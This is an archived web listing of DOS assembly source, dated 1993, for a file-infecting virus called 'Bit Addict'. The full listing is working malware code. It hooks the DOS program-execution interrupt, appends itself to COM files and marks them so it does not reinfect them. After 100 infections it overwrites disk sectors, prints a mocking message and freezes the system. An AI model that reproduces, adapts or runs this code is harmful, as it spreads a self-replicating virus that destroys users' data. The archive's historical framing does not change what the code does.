home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ADDICT1.ASM < prev    next >
Assembly Source File  |  1993-02-25  |  3KB  |  191 lines

  1. code segment
  2.     org    0
  3.  
  4.     call    Virus
  5.  
  6. SavedCode    db    0cdh,020h,11 dup(090h)
  7.  
  8. Jump        db    0e9h
  9. NearOfset    dw    0
  10.  
  11. ID        db    'BIT ADDICT'
  12. ExeHead        db    'MZ'
  13.  
  14. SaveInt21    equ    this word
  15. OldInt21    dd    0
  16. Teller        db    0
  17. Message        db    'The Bit Addict says: ',13,10
  18.         db    '"You have a good taste for hard disks, it was delicious !!!"'
  19.         db    13,10,'$'
  20.  
  21. NewInt21:
  22.     cmp    ah,4bh
  23.     je    Exec
  24.     jmp    cs:OldInt21
  25. Exec:    cmp    cs:Teller,100
  26.     jb    Infect
  27.  
  28.     mov    ax,2
  29.     xor    bx,bx
  30.     mov    cx,100
  31.     xor    dx,dx
  32.     int    026h
  33.     mov    ax,3
  34.     xor    bx,bx
  35.     mov    cx,100
  36.     xor    dx,dx
  37.     int    026h
  38.  
  39.     mov    ax,cs
  40.     mov    ds,ax
  41.     mov    ah,9
  42.     lea    dx,Message
  43.     int    021h
  44.  
  45. HangUp:    cli
  46.     jmp    HangUp
  47.  
  48. Infect:    push    ax
  49.     push    bx
  50.     push    cx
  51.     push    dx
  52.     push    si
  53.     push    di
  54.     push    ds
  55.     push    es
  56.     push    dx
  57.     mov    ax,04300h
  58.     int    021h
  59.     push    cx
  60.     mov    ax,04301h
  61.     xor    cx,cx
  62.     int    021h
  63.     mov    ax,03d02h
  64.     int    021h
  65.     jnc    OK1
  66.     jmp    Error
  67. Ok1:    mov    bx,ax
  68.     mov    ax,05700h
  69.     int    021h
  70.     push    cx
  71.     push    dx
  72.     mov    ax,cs
  73.     mov    ds,ax
  74.     mov    es,ax
  75.     mov    ax,03f00h
  76.     mov    cx,13
  77.     lea    dx,SavedCode
  78.     int    021h
  79.     jc    Close
  80.     lea    si,ID
  81.     lea    di,SavedCode[3]
  82.     mov    cx,10
  83.     repe    cmpsb
  84.     je    Close
  85.     lea    si,ExeHead
  86.     lea    di,SavedCode
  87.     mov    cx,2
  88.     repe    cmpsb
  89.     je    Close
  90. Com:    mov    ax,04202h
  91.     xor    cx,cx
  92.     xor    dx,dx
  93.     int    021h
  94.     jc    Close
  95.     or    dx,dx
  96.     jne    Close
  97.     sub    ax,3
  98.     jb    Close
  99.     mov    NearOfset,ax
  100.     mov    ax,04000h
  101.     mov    cx,CodeSize
  102.     xor    dx,dx
  103.     int    021h
  104.     jc    Close
  105.     mov    ax,04200h
  106.     xor    cx,cx
  107.     xor    dx,dx
  108.     int    021h
  109.     jc    Close
  110.     mov    ax,04000h
  111.     mov    cx,13
  112.     lea    dx,Jump
  113.     int    021h
  114.     inc    cs:Teller
  115. Close:    pop    dx
  116.     pop    cx
  117.     mov    ax,05701h
  118.     int    021h
  119.     mov    ax,03e00h
  120.     int    021h
  121. Error:    pop    cx
  122.     pop    dx
  123.     pop    es
  124.     pop    ds
  125.     push    ds
  126.     push    es
  127.     mov    ax,04301h
  128.     int    021h
  129.     pop    es
  130.     pop    ds
  131.     pop    di
  132.     pop    si
  133.     pop    dx
  134.     pop    cx
  135.     pop    bx
  136.     pop    ax
  137.     jmp    cs:OldInt21
  138.  
  139. Virus:    pop    bx
  140.     sub    bx,3
  141.     xor    ax,ax
  142.     mov    ds,ax
  143.     cmp    w[021h*4+2],0a000h
  144.     jae    Exit
  145.     mov    dx,03bfh
  146.     mov    al,3
  147.     out    dx,al
  148.     mov    ax,cs
  149.     mov    ds,ax
  150.     mov    ax,VirusSegment1
  151. Repeat:    mov    es,ax
  152.     mov    si,bx
  153.     xor    di,di
  154.     mov    cx,CodeSize
  155.     repe    movsb
  156.     mov    si,bx
  157.     xor    di,di
  158.     mov    cx,CodeSize
  159.     repe    cmpsb
  160.     je    Ok2
  161.     mov    ax,VirusSegment2
  162.     mov    dx,es
  163.     cmp    ax,dx
  164.     je    Exit
  165.     jmp    Repeat
  166. Ok2:    xor    ax,ax
  167.     mov    ds,ax
  168.     mov    ax,ds:[84h]
  169.     mov    es:SaveInt21[0],ax
  170.     mov    ax,ds:[86h]
  171.     mov    es:SaveInt21[2],ax
  172.     mov    ax,NewInt21
  173.     mov    [84h],ax
  174.     mov    ax,es
  175.     mov    [86h],ax
  176. Exit:    mov    ax,cs
  177.     mov    ds,ax
  178.     mov    es,ax
  179.     mov    si,bx
  180.     add    si,3
  181.     mov    di,0100h
  182.     mov    cx,13
  183.     rep    movsb
  184.     mov    ax,0100h
  185.     push    ax
  186.     ret
  187.  
  188. CodeSize    equ    $
  189. VirusSegment1    equ    0c000h-(($+0fh) shr 4)
  190. VirusSegment2    equ    0bc00h-(($+0fh) shr 4)
  191.